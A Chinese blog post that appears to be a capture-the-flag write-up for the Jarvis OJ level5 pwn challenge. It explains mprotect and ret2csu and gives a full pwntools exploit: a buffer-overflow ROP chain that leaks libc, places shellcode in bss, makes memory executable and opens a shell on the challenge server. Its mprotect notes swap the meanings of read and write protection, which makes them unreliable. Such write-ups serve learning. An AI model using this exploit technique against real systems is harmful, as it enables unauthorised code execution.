18.9.25 Jarvis OJ PWN----[XMAN]level5

题目提示:

参考链接:https://veritas501.space/2017/03/10/JarvisOJ_WP/

                  https://blog.csdn.net/github_36788573/article/details/80178146

mmap和mprotect练习,假设system和execve函数被禁用,请尝试使用mmap和mprotect完成本题。

emmmmm,这怎么弄,好好学习一波,附件就是level3_x64

我首先去搜了一下mmap和mprotect分别是什么

mmap: 一种内存映射文件的方法

mprotect:


#include <unistd.h>

#include <sys/mmap.h>

int mprotect(const void *start, size_t len, int prot);

mprotect()函数把自start开始的、长度为len的内存区的保护属性修改为prot指定的值。

prot可以取以下几个值,并且可以用“|”将几个属性合起来使用:

1)PROT_READ:表示内存段内的内容可写;

扫描二维码关注公众号,回复: 3478783 查看本文章

2)PROT_WRITE:表示内存段内的内容可读;

3)PROT_EXEC:表示内存段中的内容可执行;

4)PROT_NONE:表示内存段中的内容根本没法访问。 

如果执行成功,则返回0;如果执行失败,则返回-1

题目的意思是不让用system和execve,但是又开了NX,所以应该是要用mprotect改data段到可执行,然后执行shellcode拿shell。

思路:

1. leak出函数地址,我这里是read函数,然后更具偏移量把mprotect()函数在内存中地址求出来

2. 把shellcode读(read)进bss字段用来以后用

3. 使用mprotect,把data段改到可执行,即rwx(111),十进制对应7

注意:(这个也是借鉴了大神的资料才看来的)

我们之前在level3_x64的时候,可以弹出rdi和rsi的地址来用,但是rdx不行,那怎么给之后的mprotect传参数呢?

这时候,我们可以利用x64下的__libc_csu_init中的gadgets。这个函数是用来对libc进行初始化操作的,而一般的程序都会调用libc函数,所以我们可以利用这个函数,先看一下函数

我们可以看到r13、r14、r15分别对应rdx、rsi、edi,那我们在调用mprotect函数之前,把__libc_csu_init中的值准备好,就可以了

我们看最后一段loc_4006A6在pop出r13、r14、r15之前还有一些操作,我们在传参的时候不要忘记

通过call调用函数,所以我们还需要将需要调用的函数地址写道got_table中 

got_table的空闲区域,如下,自己挑就好

上脚本吧,挺容易绕晕的

#coding=utf-8
from pwn import *
context.binary = './level3_x64'
#conn=process('./level3_x64')
conn=remote("pwn2.jarvisoj.com", "9884")
e=ELF('./level3_x64')
#libc=ELF('/usr/lib64/libc-2.26.so')
libc=ELF('./libc-2.19-2.so')
vul_addr=e.symbols["vulnerable_function"]
write_plt=e.symbols['write']
write_got=e.got['write']
read_plt=e.symbols['read']
pop_rdi=0x4006b3 #pop rdi;ret
pop_rsi=0x4006b1 #pop rsi;pop r15;ret
##############################################
#get mprotect_addr
#edx=0x200 is not serious
payload1='a'*(0x80+0x08)+p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(write_got)+p64(8)+p64(write_plt)+p64(vul_addr)
conn.recv()
sleep(0.2)
conn.send(payload1)
sleep(0.2)
write_addr=u64(conn.recv(8))       #leak write_addr
pause()
 
libc_write=libc.symbols['write']
libc_mprotect=libc.symbols['mprotect']
mprotect_addr=libc_mprotect-libc_write+write_addr       #offset mprotect

#write the shellcode to bss
bss_addr=e.bss()
shellcode=asm(shellcraft.sh())
payload2='a'*(0x80+0x08)+p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(bss_addr)+p64(8)+p64(read_plt)+p64(vul_addr)
sleep(0.2)
conn.send(payload2)
sleep(0.2)
conn.send(shellcode)

#write the bss to got_table
pause()
bss_got=0x600a47#any empty got_table address is ok
payload3='a'*(0x80+0x08)+p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(bss_got)+p64(8)+p64(read_plt)+p64(vul_addr)
sleep(0.2)
conn.send(payload3)
sleep(0.2)
conn.send(p64(bss_addr))

#write the mprotect to got_table
pause()
mprotect_got=0x600a51#any empty got_table address is ok
payload4='a'*(0x80+0x08)+p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(mprotect_got)+p64(8)+p64(read_plt)+p64(vul_addr)
sleep(0.2)
conn.send(payload4)
sleep(0.2)
conn.send(p64(mprotect_addr))

pause()
#add rsp,8 
#pop rbx
#pop rbp
#pop r12            mprotect_got
#pop r13            rdx
#pop r14            rsi
#pop r15            rdi
#retn
csu_start=0x4006a6
csu_end=0x400690
payload5='a'*(0x80+0x08)+p64(csu_start)
payload5+='a'*8+p64(0)+p64(1)+p64(mprotect_got)+p64(7)+p64(0x1000)+p64(0x600000)
payload5+=p64(csu_end)
payload5+='a'*8+p64(0)+p64(1)+p64(bss_got)+p64(0)+p64(0)+p64(0)
payload5+=p64(csu_end)
conn.send(payload5)
sleep(0.2)
conn.interactive()

猜你喜欢

转载自blog.csdn.net/qq_42192672/article/details/82786259
今日推荐